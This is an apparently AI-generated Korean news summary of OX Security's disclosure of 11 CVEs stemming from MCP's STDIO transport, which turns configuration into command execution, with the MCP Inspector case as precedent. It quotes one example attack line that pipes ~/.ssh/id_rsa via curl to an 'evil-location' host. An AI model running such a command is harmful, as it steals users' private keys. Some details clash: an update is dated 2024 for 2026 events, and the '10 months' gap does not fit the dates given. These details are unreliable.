
MCP 서버 설계 결함으로 인해 7,000개 이상의 인스턴스에서 11개의 CVE 발생
요약
OX Security는 Anthropic의 Model Context Protocol(MCP) 구현체에서 7,000개 이상의 서버에 영향을 미치는 11개의 CVE를 발견했습니다. STDIO 전송 방식의 설계 결함으로 인해 설정 데이터가 명령 실행으로 전환될 수 있는 심각한 보안 취약점이 존재합니다.
핵심 포인트
- STDIO 전송 설계 결함으로 인한 명령 실행 취약점 발생
- Anthropic의 레퍼런스 SDK 포함으로 인해 다수의 언어에 영향
- 7,000개 이상의 서버 및 1억 5천만 회 이상의 다운로드 패키지 영향
- Anthropic은 프로토콜 아키텍처 변경을 거부하여 운영자 부담 가중
OX Security는 2026년 4월 20일, 7,000개 이상의 서버에 영향을 미치는 11개의 MCP CVE를 공개했습니다. STDIO 전송 (transport) 설계 결함이 설정을 명령 실행으로 전환합니다.
OX Security는 2026년 4월 20일, 7,000개 이상의 공개적으로 접근 가능한 서버에 영향을 미치는 Model Context Protocol 구현체 전반에서 11개의 CVE를 공개했습니다. 근본 원인은 STDIO 전송 (transport)의 설계 특성 때문이며, Anthropic은 이를 변경하기를 거부했습니다.
주요 사실
- 2026년 4월 20일 OX Security에 의해 11개의 CVE 공개
- 7,000개 이상의 공개적으로 접근 가능한 MCP 서버 영향
- 영향을 받는 패키지 전체 다운로드 수 1억 5,000만 회 이상
- CVE-2025-49596은 2025년 6월 13일에 CVSS 9.4 점수를 기록
- Anthropic은 프로토콜 아키텍처 (protocol architecture) 변경을 거부
2026년 4월 20일, OX Security의 연구원 Moshe Siman Tov Bustan, Mustafa Naamnih, Nir Zadok 및 Roni Bar는 MCP 서버 구현체 전반에 걸친 11개의 CVE에 대한 상세 조사 결과를 발표했습니다. 이 취약점들은 7,000개 이상의 공개적으로 접근 가능한 서버와 총 1억 5,000만 회 이상의 다운로드 수를 기록한 패키지들에 영향을 미칩니다 [OX Security 연구에 따름].
근본 원인은 특정 라이브러리의 버그가 아닙니다. 그것은 STDIO 전송 (transport)이 구성 데이터를 실행된 명령으로 전환하는 방식이며, Anthropic의 레퍼런스 SDK (reference SDK)에 포함되어 있기 때문에 Python, TypeScript, Java 및 Rust 모두에 영향을 미칩니다. Anthropic은 해당 동작이 예상된 것이라며 프로토콜 아키텍처 (protocol architecture) 변경을 거부했습니다. 그 결정은 모든 부담을 운영자인 귀하에게 전가합니다.
전례는 1년 전에 이미 마련되었습니다. CVE-2025-49596은 2025년 6월 13일에 MCP Inspector에 CVSS 9.4 점수로 타격을 입혔으며, CVE-2025-6514는 437,000회의 다운로드에 걸쳐 mcp-remote에 CVSS 9.6 점수로 타격을 입혔습니다.
핵심 요약
- OX Security는 2026년 4월 20일, 7,000개 이상의 서버에 영향을 미치는 11개의 MCP CVE를 공개했습니다.
- STDIO 전송 (transport) 설계 결함이 설정을 명령 실행으로 전환합니다.
11개의 CVE와 공통 메커니즘
아래의 모든 항목은 동일한 STDIO 구성-실행 (configuration-to-execution) 경로를 추적합니다. 프로젝트는 다르지만, 메커니즘은 동일합니다.
| CVE | 영향받는 프로젝트 (Affected project) | 패치 상태 (2026년 4월 20일 기준) |
|---|---|---|
| CVE-2025-65720 | GPT Researcher | 공개 시점 기준 패치되지 않음 |
| ... |
OX Security는 또한 동일한 핵심 문제에 기반하여 독립적으로 보고된 이전 취약점 세트들을 명시했습니다: MCP Inspector의 CVE-2025-49596, LibreChat의 CVE-2026-22252, WeKnora의 CVE-2026-22688, @akoskm/create-mcp-server-stdio의 CVE-2025-54994, 그리고 Cursor의 CVE-2025-54136입니다. 다섯 개의 별도 연구 노력이 동일한 문제에 도달한 것입니다.
왜 STDIO는 설정을 명령 실행으로 바꾸는가

MCP의 STDIO 전송 (transport) 방식은 클라이언트가 로컬 서버 프로세스를 생성 (spawn)하고 표준 입력 및 출력 (standard input and output)을 통해 통신할 수 있도록 설계되었습니다. 프로세스를 생성한다는 것은 명령 (command)을 실행한다는 것을 의미합니다. 따라서 해당 명령을 지정하는 설정 파일은 데이터가 아닌 실행 가능한 콘텐츠 (executable content)가 됩니다. 대부분의 팀은 이를 그렇게 취급하지 않습니다. 그들은 mcp.json이나 그에 상응하는 파일을 .env 파일처럼 취급합니다. 즉, 편집하고, 커밋하고, 동기화하며, 때때로 마켓플레이스에서 받아들이는 무언가로 취급합니다.
MCP 명세 (specification) 자체의 보안 가이드라인은 이것이 무엇을 가능하게 하는지에 대해 명시적으로 설명하고 있습니다. 가이드라인은 두 가지 악성 시작 명령 예시를 나열합니다:
# 데이터 유출 (Data exfiltration)
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
...
둘 중 어느 것도 생소한 것이 아닙니다. 둘 다 설정 파일의 문자열이 셸 (shell)에 도달할 때 발생하는 현상입니다. 명세에 명시된 로컬 MCP 서버의 위험 요소는 클라이언트 권한을 가진 임의 코드 실행 (arbitrary code execution), 실행되는 내용에 대한 사용자 가시성 부재, 명령 난독화 (command obfuscation), 데이터 유출 (data exfiltration), 그리고 복구 불가능한 데이터 손실입니다.
MCP Inspector 선례: CVE-2025-49596
가장 명확한 실제 사례는 OX Security의 연구보다 10개월 앞서 발생했습니다. Oligo Security는 2025년 4월 18일 Anthropic에 MCP Inspector의 원격 코드 실행 (RCE) 및 DNS 리바인딩 (DNS rebinding) 취약점을 보고했습니다. Anthropic은 다른 연구자가 2025년 3월 26일에 이미 이를 보고했음을 확인했습니다. CVE-2025-49596은 2025년 6월 13일에 발표되었으며, CVSS 점수는 9.4를 기록했습니다.
Anthropic의 권고문은 원인에 대해 정확하게 명시하고 있습니다: "0.14.1 미만 버전의 MCP Inspector는 Inspector 클라이언트와 프록시(proxy) 간의 인증 부재로 인해 원격 코드 실행 (RCE)에 취약하며, 이로 인해 인증되지 않은 요청이 stdio를 통해 MCP 명령을 실행할 수 있습니다."
이 공격이 작동하는 이유는 MCP Inspector의 프록시가 인증 없이 6277 포트에서 대기하고 있었고, /sse 엔드포인트가 command 쿼리 파라미터와 args 파라미터를 수락했기 때문입니다. 다음과 같은 형태의 요청만으로도 충분했습니다:
JavaScript를 실행하는 모든 공개 웹 페이지는 해당 요청을 보낼 수 있습니다. 이 요청이 localhost의 서비스에 도달할 수 있었던 이유는 0.0.0.0-day 결함 때문인데, 이는 프라이빗 네트워크로의 요청을 처리하는 방식에 있어 19년 동안 지속되어 온 브라우저의 불일치 문제입니다.
설계에 의한 공급망 이벤트
OX Security의 발견이 독특한 점은 RCE 벡터 그 자체 때문이 아닙니다. 그것은 이미 Inspector CVE를 통해 알려진 내용이었습니다. 진짜 문제는 단 한 번 내려진 하나의 설계 결정이, 프로토콜이 보이는 그대로일 것이라고 신뢰하는 모든 언어, 모든 다운스트림 라이브러리(downstream library), 그리고 모든 프로젝트로 소리 없이 전파되었다는 점입니다. OX Security의 자체 요약은 이를 다음과 같이 표현했습니다: "이것이 단일 CVE가 아닌 공급망 이벤트가 된 이유는, 단 한 번 내려진 하나의 설계 결정이 프로토콜이 보이는 그대로일 것이라고 신뢰하는 모든 언어, 모든 다운스트림 라이브러리, 그리고 모든 프로젝트로 소리 없이 전파되었기 때문입니다."
이것은 2026년 MCP 취약성 지형을 일반적인 라이브러리 버그 연쇄(bug cascade)와 구분 짓는 패턴입니다. 패치된 LiteLLM이 설정을 서브프로세스(subprocess)에 직접 연결하는 다음 에이전트 프레임워크로부터 당신을 보호해주지는 않습니다. 당신은 개별 사례를 쫓는 것이 아니라, 이 패턴 자체를 차단해야 합니다.
주시해야 할 사항
Anthropic이 향후 90일 이내에 STDIO 전송(transport) 설계에 대한 입장을 수정하는지 주시하십시오. 특히 기업 보안 팀이 이 프로토콜의 신뢰 모델(trust model)에 문제를 제기하여 MCP의 다운스트림 채택이 정체될 경우 더욱 주의 깊게 살펴봐야 합니다. 또한, 패치되지 않은 MCP 서버로 인해 발생하는 첫 번째 주요 침해 사고도 주시하십시오. 이는 인도의 DPDP 법(DPDP Act)과 같은 프레임워크 하에서 규제 당국의 조사를 가속화할 수 있으며, 해당 법안에서는 합리적인 보안 보호 조치를 유지하지 못할 경우 최대 250억 루피(₹250 crore)의 벌금이 부과될 수 있습니다.
출처: news.google.com
[2024년 7월 16일 devto_mcp를 통해 업데이트됨]
Dev.to에 게시된 보안 분석에 따르면, 이미 실제 환경에서의 악용(Exploitation in the wild)이 관찰되었습니다. 동일한 분석 보고서에 따르면, 2025년 Trend Micro가 분석한 9,695개의 MCP 서버 중 5,832개가 안전하지 않은 패턴을 보였습니다 [Dev.to 기준]. 이는 공격 표면(attack surface)이 OX Security의 공개 자료에서 언급된 7,000개 이상의 공개 접근 가능 서버를 훨씬 넘어선다는 것을 확인시켜 줍니다.
원문 게시: gentic.news
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기